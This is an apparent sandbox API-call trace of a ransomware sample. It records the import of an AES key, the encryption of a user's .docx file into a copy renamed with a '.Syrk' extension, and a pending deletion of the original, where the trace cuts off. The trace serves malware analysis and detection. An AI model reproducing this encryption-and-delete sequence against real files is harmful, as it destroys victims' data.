[0217.176] SystemFunction040 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.176] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0217.176] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0217.176] SystemFunction041 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.176] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0217.176] SystemFunction040 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.176] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0217.176] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0217.176] SystemFunction041 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.176] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0217.176] SystemFunction040 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.177] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0217.177] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0217.177] SystemFunction041 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.177] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0217.177] SystemFunction040 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.177] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0217.177] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0217.177] SystemFunction041 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.177] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0217.177] SystemFunction040 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.177] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0217.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0217.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0217.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0217.178] SystemFunction041 (in: Memory=0x5c92dac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92dac) returned 0x0 [0217.178] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0217.178] SystemFunction040 (in: Memory=0x5c92dac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92dac) returned 0x0 [0217.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0217.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0217.178] SystemFunction041 (in: Memory=0x5c92dac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92dac) returned 0x0 [0217.178] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0217.178] SystemFunction040 (in: Memory=0x5c92dac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92dac) returned 0x0 [0217.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0217.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0217.179] SystemFunction041 (in: Memory=0x5c92dac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92dac) returned 0x0 [0217.179] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0217.179] SystemFunction040 (in: Memory=0x5c92dac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92dac) returned 0x0 [0217.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0217.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0217.179] SystemFunction041 (in: Memory=0x5c92dac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92dac) returned 0x0 [0217.179] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0217.179] SystemFunction040 (in: Memory=0x5c92dac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92dac) returned 0x0 [0217.179] EtwEventActivityIdControl () returned 0x0 [0217.180] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0217.180] SystemFunction041 (in: Memory=0x5c92dac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92dac) returned 0x0 [0217.180] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0217.180] SystemFunction040 (in: Memory=0x5c92dac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92dac) returned 0x0 [0217.182] CryptAcquireContextW (in: phProv=0x5a2e6f0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e6f0*=0x5c4ccc0) returned 1 [0217.450] CryptImportKey (in: hProv=0x5c4ccc0, pbData=0x2506e98*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2eae4 | out: phKey=0x5a2eae4*=0x5c68fc0) returned 1 [0217.450] CryptContextAddRef (hProv=0x5c4ccc0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0217.451] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e850, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0217.451] EtwEventActivityIdControl () returned 0x0 [0217.451] EtwEventActivityIdControl () returned 0x0 [0217.451] EtwEventActivityIdControl () returned 0x0 [0217.458] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\mhccyt.docx")) returned 0x20 [0217.460] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\mhccyt.docx")) returned 0x20 [0217.460] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0217.460] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", nBufferLength=0x3d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", lpFilePart=0x0) returned 0x3c [0217.460] EtwEventActivityIdControl () returned 0x0 [0217.461] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0217.461] EtwEventActivityIdControl () returned 0x0 [0217.461] EtwEventActivityIdControl () returned 0x0 [0217.461] EtwEventActivityIdControl () returned 0x0 [0217.463] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0217.463] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", nBufferLength=0x3d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", lpFilePart=0x0) returned 0x3c [0217.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0217.463] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\mhccyt.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0217.464] GetFileType (hFile=0x454) returned 0x1 [0217.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0217.464] GetFileType (hFile=0x454) returned 0x1 [0217.464] EtwEventActivityIdControl () returned 0x0 [0217.464] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0217.464] EtwEventActivityIdControl () returned 0x0 [0217.465] EtwEventActivityIdControl () returned 0x0 [0217.465] EtwEventActivityIdControl () returned 0x0 [0217.466] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0217.466] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx.Syrk", nBufferLength=0x42, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx.Syrk", lpFilePart=0x0) returned 0x41 [0217.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0217.466] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\mhccyt.docx.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0217.470] GetFileType (hFile=0x458) returned 0x1 [0217.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0217.470] GetFileType (hFile=0x458) returned 0x1 [0217.470] EtwEventActivityIdControl () returned 0x0 [0217.470] CryptGenRandom (in: hProv=0x5c4ccc0, dwLen=0x10, pbBuffer=0x2519554 | out: pbBuffer=0x2519554) returned 1 [0217.472] CryptContextAddRef (hProv=0x5c4ccc0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0217.472] CryptDuplicateKey (in: hKey=0x5c68fc0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e6ec | out: phKey=0x5a2e6ec*=0x5c68e40) returned 1 [0217.472] CryptContextAddRef (hProv=0x5c4ccc0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0217.472] CryptSetKeyParam (hKey=0x5c68e40, dwParam=0x4, pbData=0x251a880*=0x1, dwFlags=0x0) returned 1 [0217.472] CryptSetKeyParam (hKey=0x5c68e40, dwParam=0x1, pbData=0x251a84c, dwFlags=0x0) returned 1 [0217.473] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0217.473] EtwEventActivityIdControl () returned 0x0 [0217.474] EtwEventActivityIdControl () returned 0x0 [0217.474] EtwEventActivityIdControl () returned 0x0 [0217.475] EtwEventActivityIdControl () returned 0x0 [0217.476] ReadFile (in: hFile=0x454, lpBuffer=0x251d4c8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x251d4c8*, lpNumberOfBytesRead=0x5a2e6fc*=0xdc08, lpOverlapped=0x0) returned 1 [0217.479] CryptEncrypt (in: hKey=0x5c68e40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x25314e0*, pdwDataLen=0x5a2e6f0*=0xdc00, dwBufLen=0xdc00 | out: pbData=0x25314e0*, pdwDataLen=0x5a2e6f0*=0xdc00) returned 1 [0217.482] WriteFile (in: hFile=0x458, lpBuffer=0x2519630*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2519630*, lpNumberOfBytesWritten=0x5a2e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0217.484] WriteFile (in: hFile=0x458, lpBuffer=0x25324cc*, nNumberOfBytesToWrite=0xcc14, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x25324cc*, lpNumberOfBytesWritten=0x5a2e6d4*=0xcc14, lpOverlapped=0x0) returned 1 [0217.486] ReadFile (in: hFile=0x454, lpBuffer=0x251d4c8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x251d4c8*, lpNumberOfBytesRead=0x5a2e6fc*=0x0, lpOverlapped=0x0) returned 1 [0217.486] CryptEncrypt (in: hKey=0x5c68e40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x253f0ec*, pdwDataLen=0x5a2e744*=0x10, dwBufLen=0x10 | out: pbData=0x253f0ec*, pdwDataLen=0x5a2e744*=0x10) returned 1 [0217.486] CryptEncrypt (in: hKey=0x5c68e40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x253f108*, pdwDataLen=0x5a2e74c*=0x0, dwBufLen=0x10 | out: pbData=0x253f108*, pdwDataLen=0x5a2e74c*=0x10) returned 1 [0217.486] WriteFile (in: hFile=0x458, lpBuffer=0x2519630*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e71c, lpOverlapped=0x0 | out: lpBuffer=0x2519630*, lpNumberOfBytesWritten=0x5a2e71c*=0x10, lpOverlapped=0x0) returned 1 [0217.487] CloseHandle (hObject=0x458) returned 1 [0217.489] CloseHandle (hObject=0x454) returned 1 [0217.489] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0217.490] EtwEventActivityIdControl () returned 0x0 [0217.490] EtwEventActivityIdControl () returned 0x0 [0217.490] EtwEventActivityIdControl () returned 0x0 [0217.613] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\mhccyt.docx")) returned 0x20 [0217.615] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0217.615] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", nBufferLength=0x3d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", lpFilePart=0x0) returned 0x3c [0217.615] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0217.616] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0217.616] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0217.616] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0217.616] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0217.616] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0217.616] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0217.616] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0217.616] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0217.616] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0217.616] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0217.616] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0217.617] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0217.617] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0217.617] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0217.617] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0217.617] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0217.617] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0217.617] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0217.617] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", lpFilePart=0x0) returned 0x24 [0217.618] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp")) returned 0x10 [0217.618] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp")) returned 0x10 [0217.618] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0217.618] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", lpFilePart=0x0) returned 0x30 [0217.618] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\mhccyt.docx")) returned 0x20 [0217.619] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0217.619] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", nBufferLength=0x3d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", lpFilePart=0x0) returned 0x3c [0217.626] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0217.626] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", nBufferLength=0x3d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", lpFilePart=0x0) returned 0x3c [0217.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e490) returned 1 [0217.626] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0217.626] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", nBufferLength=0x3d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", lpFilePart=0x0) returned 0x3c [0217.627] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\mhccyt.docx\\*"), lpFindFileData=0x5a2e240 | out: lpFindFileData=0x5a2e240*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0217.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e200) returned 1 [0217.627] CoTaskMemAlloc (cb=0x404) returned 0x5c99080 [0217.627] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c99080, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0217.627] CoTaskMemFree (pv=0x5c99080) [0217.630] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\mhccyt.docx")) returned 0x20 [0217.630] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0217.630] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", nBufferLength=0x3d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx", lpFilePart=0x0) returned 0x3c [0217.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e158) returned 1 [0217.630] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\mhccyt.docx"), fInfoLevelId=0x0, lpFileInformation=0x2364cd0 | out: lpFileInformation=0x2364cd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3925c520, ftCreationTime.dwHighDateTime=0x1d99217, ftLastAccessTime.dwLowDateTime=0x6b3e1ee0, ftLastAccessTime.dwHighDateTime=0x1d9942e, ftLastWriteTime.dwLowDateTime=0x6b3e1ee0, ftLastWriteTime.dwHighDateTime=0x1d9942e, nFileSizeHigh=0x0, nFileSizeLow=0xdc08)) returned 1 [0217.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e154) returned 1 [0217.630] DeleteFileW 